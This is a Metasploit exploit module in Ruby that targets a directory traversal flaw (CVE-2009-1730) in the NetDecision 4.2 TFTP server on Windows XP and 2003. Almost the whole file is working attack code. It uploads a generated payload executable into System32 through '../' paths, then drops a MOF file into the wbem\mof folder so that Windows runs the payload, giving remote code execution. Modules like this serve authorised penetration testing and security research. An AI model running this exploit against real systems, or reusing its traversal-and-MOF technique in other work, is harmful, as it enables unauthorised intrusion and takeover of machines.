##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::TFTP
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "NetDecision 4.2 TFTP Writable Directory Traversal Execution",
        'Description' => %q{
          This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The
          software contains a directory traversal vulnerability that allows a remote attacker
          to write arbitrary file to the file system, which results in code  execution under
          the context of user executing the TFTP Server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rob Kraus', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          ['CVE', '2009-1730'],
          ['OSVDB', '54607'],
          ['BID', '35002']
        ],
        'Payload' => {
          'BadChars' => "\x00",
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Targets' => [
          ['NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-05-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptInt.new('DEPTH', [false, "Levels to reach base directory", 1]),
      OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
      OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
    ])
  end

  def upload(filename, data)
    tftp_client = Rex::Proto::TFTP::Client.new(
      "LocalHost" => "0.0.0.0",
      "LocalPort" => 1025 + rand(0xffff - 1025),
      "PeerHost" => datastore['RHOST'],
      "PeerPort" => datastore['RPORT'],
      "LocalFile" => "DATA:#{data}",
      "RemoteFile" => filename,
      "Mode" => "octet",
      "Context" => { 'Msf' => self.framework, "MsfExploit" => self },
      "Action" => :upload
    )

    ret = tftp_client.send_write_request { |msg| print_status(msg) }
    while not tftp_client.complete
      select(nil, nil, nil, 1)
      tftp_client.stop
    end
  end

  def exploit
    peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

    # Setup the necessary files to do the wbemexec trick
    exe_name = rand_text_alpha(rand(10) + 5) + '.exe'
    exe = generate_payload_exe
    mof_name = rand_text_alpha(rand(10) + 5) + '.mof'
    mof = generate_mof(mof_name, exe_name)

    # Configure how deep we want to traverse
    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "../" * depth

    # Upload the malicious executable to C:\Windows\System32\
    print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
    upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

    # Let the TFTP server idle a bit before sending another file
    select(nil, nil, nil, 1)

    # Upload the mof file
    print_status("#{peer} - Uploading .mof...")
    upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
  end
end
